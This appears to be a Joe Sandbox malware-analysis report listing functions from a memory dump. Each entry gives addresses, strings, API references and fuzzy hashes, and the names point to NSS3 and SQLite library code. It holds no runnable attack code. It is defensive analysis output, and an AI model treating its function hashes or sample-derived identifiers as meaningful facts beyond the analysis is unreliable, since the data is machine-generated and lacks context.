Function 6CC76F10 Relevance: 5.2, Strings: 4, Instructions: 218COMMON

Download Yara Rule

Strings

*?[, xrefs: 6CC77034, 6CC77052, 6CC77070
unordered*, xrefs: 6CC7702B
sz=[0-9]*, xrefs: 6CC77049
noskipscan*, xrefs: 6CC77067

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID:
String ID: *?[$noskipscan*$sz=[0-9]*$unordered*
API String ID: 0-3485574213
Opcode ID: 2243b013723cfa13d78e66a15652dbc9c3f6cf4b4614ea76db952eb9dacf4b0c
Instruction ID: 8a1baf6debbf75ac667f190228e1dfa3aca8a910902a32b12c9b6db179b6f095
Opcode Fuzzy Hash: 2243b013723cfa13d78e66a15652dbc9c3f6cf4b4614ea76db952eb9dacf4b0c
Instruction Fuzzy Hash: 65717D72F002194BEB318A6DC88039A73A2EF85314F294239C969EBBD1F6715C47D7E1

Function 6CC93EC0 Relevance: 4.3, Strings: 3, Instructions: 583COMMON

Download Yara Rule

Strings

sqlite_temp_master, xrefs: 6CC9460F
sqlite_master, xrefs: 6CC9463F
sqlite_, xrefs: 6CC93FAA, 6CC94185

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID:
String ID: sqlite_$sqlite_master$sqlite_temp_master
API String ID: 0-4221611869
Opcode ID: d7f314a8ff6ff3c041d50e4272b242532707e0b9ab6015e044e88f2839baccf5
Instruction ID: 5078958eaee75077ed20fc99fca0def0544bada7c479e355f1a752aac6cdfac7
Opcode Fuzzy Hash: d7f314a8ff6ff3c041d50e4272b242532707e0b9ab6015e044e88f2839baccf5
Instruction Fuzzy Hash: 68222531A495958FD704CB6A80606BABBF2FF46318B6C45E8C9F19FE42F325E851C790

Function 6CDCBE70 Relevance: 4.0, APIs: 1, Strings: 1, Instructions: 1029COMMON

Download Yara Rule

Strings

`, xrefs: 6CDCC0B6

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID:
String ID: `
API String ID: 0-2679148245
Opcode ID: 663565e94a0a4a3f3d6d657feb50531bc73b2210c214b288558d510d47fbf05f
Instruction ID: 9ac31f9ab392939705dd15449e7f038efd08cbae8f6efd572dd358089a019b66
Opcode Fuzzy Hash: 663565e94a0a4a3f3d6d657feb50531bc73b2210c214b288558d510d47fbf05f
Instruction Fuzzy Hash: 6A928D70B00209DFDB05DF99C880BAEB7BAFF88308F284169D555A7BA1D735E846CB51

Function 6CCA38E0 Relevance: 4.0, APIs: 1, Strings: 1, Instructions: 967COMMON

Download Yara Rule

Strings

., xrefs: 6CCA4611

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID:
String ID: .
API String ID: 0-248832578
Opcode ID: 4e1065ab8098f994c282af1791e16f30a73305ed3256e192e8e4b0073feb99a0
Instruction ID: a95992e6bff8fbbb348d888724fd118bf2b149c0d43a5d31454d371d0e904250
Opcode Fuzzy Hash: 4e1065ab8098f994c282af1791e16f30a73305ed3256e192e8e4b0073feb99a0
Instruction Fuzzy Hash: 6192B535A0021ACFDB24CFA9C494799B7B2FF48314F258299D8499B752EB34DD96CF40

Function 6CC63D80 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 164COMMON

Download Yara Rule

APIs

htonl.WSOCK32(00000000), ref: 6CC63EA9

Strings

0, xrefs: 6CC63DAB

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: htonl
String ID: 0
API String ID: 2009864989-4108050209
Opcode ID: f0f37967f5381e58e456b31a422df370568951f3e771cc9d41e55f8718461ac2
Instruction ID: e21ed0f123011d739c417aca2ce63bff30b9f49bcb00794330783da459c07017
Opcode Fuzzy Hash: f0f37967f5381e58e456b31a422df370568951f3e771cc9d41e55f8718461ac2
Instruction Fuzzy Hash: 73512B31E490798ADB15467F89A03FFBBB19B43324F1D432AC5A567EC0E234454587F1

Function 6CD4F8F0 Relevance: 3.2, APIs: 2, Instructions: 237COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(0000001C,00000000,00000000,00000000), ref: 6CD4FAAA
PR_SetError.NSS3(FFFFE002,00000000,?,?,00000000), ref: 6CD4FB3A

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: Errormemcpy
String ID:
API String ID: 4073637842-0
Opcode ID: 6207bdc5ba54ca5fc5675d9cfb828a36a9a4b43627329bffd3b09280abc2fac8
Instruction ID: 89606ea5251088e85d010895185f4ba7b0618ab57215cb7fa0d7a6ff73ed5ebc
Opcode Fuzzy Hash: 6207bdc5ba54ca5fc5675d9cfb828a36a9a4b43627329bffd3b09280abc2fac8
Instruction Fuzzy Hash: 57816271A0021ADFDF04CF59C890AAEB7B6FF89318F158119EA14A7720D731ED55CBA0

Function 6CD0EE70 Relevance: 3.2, APIs: 2, Instructions: 223COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CD0F019
PK11_GenerateRandom.NSS3(?,00000000), ref: 6CD0F0F9

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: ErrorGenerateK11_Random
String ID:
API String ID: 3009229198-0
Opcode ID: f28674b34aa5c963032b75bc96fe7a21ab5569db4e47a29f8ddf8cc7e5d013c4
Instruction ID: 7b87e14939b93e951e7bc8b71b1f5255fdad80dcb27858cafc2b72015fad628e
Opcode Fuzzy Hash: f28674b34aa5c963032b75bc96fe7a21ab5569db4e47a29f8ddf8cc7e5d013c4
Instruction Fuzzy Hash: E5919C71F0121A8BCB14CF68C8916AEB7F2FF85324F24462DD962A7BD0D734A905CB91

Function 6CD32F70 Relevance: 3.1, APIs: 2, Instructions: 149COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE09A,00000000,00000000,?,6CD57929), ref: 6CD32FAC
PR_SetError.NSS3(FFFFE040,00000000,00000000,?,6CD57929), ref: 6CD32FE0

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: Error
String ID:
API String ID: 2619118453-0
Opcode ID: 73abe7756a842e2ca245ec0672ef44676867a29702a8c04ab0e20e2a9e368887
Instruction ID: 75b570a2c6bc54afe8eb0e3acd64cb28fdf515f25edf5e78b2664ab2f1dd3f91
Opcode Fuzzy Hash: 73abe7756a842e2ca245ec0672ef44676867a29702a8c04ab0e20e2a9e368887
Instruction Fuzzy Hash: 4A510871A04931CFC7148F59CA80B6A73B1EB47318F195229D94D9BB31C739E847CB90

Function 6CD50E20 Relevance: 2.8, APIs: 2, Instructions: 279COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,00000000,00000000,00000000), ref: 6CD51052
memset.VCRUNTIME140(-0000001C,?,?,00000000), ref: 6CD51086

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: memcpymemset
String ID:
API String ID: 1297977491-0
Opcode ID: 4273364044b89e19afd0c5db018029fb3ecdebf47b8604b38187d178fe962d79
Instruction ID: 7a6eff73467830bab61c4a61889ff851196cc93517473f4a754aa20a0c20cddc
Opcode Fuzzy Hash: 4273364044b89e19afd0c5db018029fb3ecdebf47b8604b38187d178fe962d79
Instruction Fuzzy Hash: D1A13C71B0125ADFCF08CF99C890AEEB7B6BF48358B548129E915A7710D735EC11CBA0

Function 6CC7AC60 Relevance: 2.7, Strings: 2, Instructions: 181COMMON

Download Yara Rule

Strings

winUnlock, xrefs: 6CC7AE18
winUnlockReadLock, xrefs: 6CC7AE9F

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID:
String ID: winUnlock$winUnlockReadLock
API String ID: 0-3432436631
Opcode ID: 0bcf6d4bec8c408b49b6dbeeaae0396ea955c323fe012879354e741a554fcc8a
Instruction ID: 0437ce3f5a17a741ab1fd97bac778e8bd45f19f86cc548cedc0b0fcd7a685410
Opcode Fuzzy Hash: 0bcf6d4bec8c408b49b6dbeeaae0396ea955c323fe012879354e741a554fcc8a
Instruction Fuzzy Hash: 19719E71608244AFDB14DF28D880AAABBF5FF89314F14C619F94997251E730ED86CBD2

Function 6CD3ED70 Relevance: 1.7, APIs: 1, Instructions: 217memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(00000000,0000003C), ref: 6CD3EE3D

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: Alloc_ArenaUtil
String ID:
API String ID: 2062749931-0
Opcode ID: b51203e4b2318080346e191dc444ed80196527117a86a943b733acd6992df4c0
Instruction ID: 07ebb7aba3acc57bae957af00a7b792e30f5fba7cae8bcff28abbbddd595f3c3
Opcode Fuzzy Hash: b51203e4b2318080346e191dc444ed80196527117a86a943b733acd6992df4c0
Instruction Fuzzy Hash: 1771E2B2E017158FD718CF19C8806AAB7F2ABC9304F19962DD85A97BE1D770ED01CB90

Function 6CC7D8E0 Relevance: 1.7, APIs: 1, Instructions: 439COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,?), ref: 6CC7DB8B

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: a0eefeada884294477d2dd42b94d17ba6008292d2fd7e9e055bda05593326f12
Instruction ID: a48de77825b0bafee180abb7b17d9160799cc7c6babd087d4b3d84d498ba6c3a
Opcode Fuzzy Hash: a0eefeada884294477d2dd42b94d17ba6008292d2fd7e9e055bda05593326f12
Instruction Fuzzy Hash: 54126E71E002098FDB18CFA9C5907ADBBF2FF89314F14416DD41AAB791E774A846CBA4

Function 6CC65F30 Relevance: 1.6, APIs: 1, Instructions: 350stringCOMMON

Download Yara Rule

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,00000000), ref: 6CC66013

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: strcmp
String ID:
API String ID: 1004003707-0
Opcode ID: 2f1fcb051b001830c9734c755c457123a0c6647d79e570b3b1874fef8bfd5fbe
Instruction ID: 1f431683271976d6ead346c5c659c4ef5effbe9ad5eefa9cfc8db390248ddf21
Opcode Fuzzy Hash: 2f1fcb051b001830c9734c755c457123a0c6647d79e570b3b1874fef8bfd5fbe
Instruction Fuzzy Hash: 29C1D670B049068BDB048F17C6D07AABBF2AF45318F288269D9A5D7F52F731E842C795

Function 6CC74DB0 Relevance: 1.6, Strings: 1, Instructions: 318COMMON

Download Yara Rule

Strings

winUnlockReadLock, xrefs: 6CC75125

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID:
String ID: winUnlockReadLock
API String ID: 0-4244601998
Opcode ID: 834fa8ea907a45f9c7ba7328a7779b7ba51a1b724ee07543ea6811dbd4b0559f
Instruction ID: 6107589962b524166d9df064b9e69c31606e423b7e72ea38ee26f45e9777c618
Opcode Fuzzy Hash: 834fa8ea907a45f9c7ba7328a7779b7ba51a1b724ee07543ea6811dbd4b0559f
Instruction Fuzzy Hash: F0E13870A087448FDB15DF29E48865ABBF1FF89318F118A1DF89997350E730A985CF92

Function 6CDF5E60 Relevance: 1.4, APIs: 1, Instructions: 163COMMON

Download Yara Rule

APIs

Part of subcall function 6CDF5B90: PR_Lock.NSS3(00010000,?,00000000,?,6CCDDF9B), ref: 6CDF5B9E
Part of subcall function 6CDF5B90: PR_Unlock.NSS3 ref: 6CDF5BEA

memset.VCRUNTIME140(00000014,00000000,-000000D7,?,?,?,?,?,?,?,?,6CDF5E23,6CCDE154), ref: 6CDF5EBF

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: LockUnlockmemset
String ID:
API String ID: 1725470033-0
Opcode ID: 765870e01ac74a1a285e53e67be40ac57547b096a3347e8632765bb24f41ae14
Instruction ID: 38fcf2b056d4854af68d15b8dda093ce5d38ef6935976edbdc19f9cec45cbdf0
Opcode Fuzzy Hash: 765870e01ac74a1a285e53e67be40ac57547b096a3347e8632765bb24f41ae14
Instruction Fuzzy Hash: 1F518E72E0021A8FDB18CF59C8815AEF7F2FF98314B1A856DD815B7755E730A942CBA0

Function 6CDADCD0 Relevance: .4, Instructions: 371COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 21b7d2d79f1ea8dfaa9f962757f8e4cc7e22b8f1f235fa12ea88386057ec1914
Instruction ID: 813c542f16a2da9fd8ade54c2faf12cf95c9b74832366ed0fc00a6963fcff14b
Opcode Fuzzy Hash: 21b7d2d79f1ea8dfaa9f962757f8e4cc7e22b8f1f235fa12ea88386057ec1914
Instruction Fuzzy Hash: 1EF15871A01205CFDB08CF59C480BAA77B2BF89318F298169DC499B761DB35ED53CBA1

Function 6CD41DC0 Relevance: .3, Instructions: 345COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5cf8dc963f7f79db549299581b4ae9ef430c02c880e9910e3ec163e0518b33a5
Instruction ID: a05d0885521ec2ea46110933e58d79918ef40efae8f3df361804f3d86c6b689b
Opcode Fuzzy Hash: 5cf8dc963f7f79db549299581b4ae9ef430c02c880e9910e3ec163e0518b33a5
Instruction Fuzzy Hash: E5D15772A046568BDB118F18C8843DE7B63AB85328F1D8329CEA45B7E6C37AD915C3D0

Function 6CCD8EA0 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0072d8ee9ecd2b3e914a0d49c11ab923ad4185d1ce480f618b55f3617c021121
Instruction ID: dd39982dea47316e8ab963ddb172a511fd3fd80ab63ed5bba13c0aaa74d3c510
Opcode Fuzzy Hash: 0072d8ee9ecd2b3e914a0d49c11ab923ad4185d1ce480f618b55f3617c021121
Instruction Fuzzy Hash: 7511BF72A012168BD704DF25D884B5AB3B5FF4231CF0A526AD9058FE41E775F886CBC2

Function 6CDB0C40 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 37c4eac332821839a420d46b6738e41f008a5e415d5aa1cd3173088bc98846dc
Instruction ID: 30cac5d04a02bb06f35ee87ea94986462f69d2ccdebf7c848e4ca9eb37d19bde
Opcode Fuzzy Hash: 37c4eac332821839a420d46b6738e41f008a5e415d5aa1cd3173088bc98846dc
Instruction Fuzzy Hash: FD11BFB4704305CFCB10DF19C8C066A77B2EF853A8F148069D81A9BB11EB31F8068BA0

Function 6CD23FF0 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

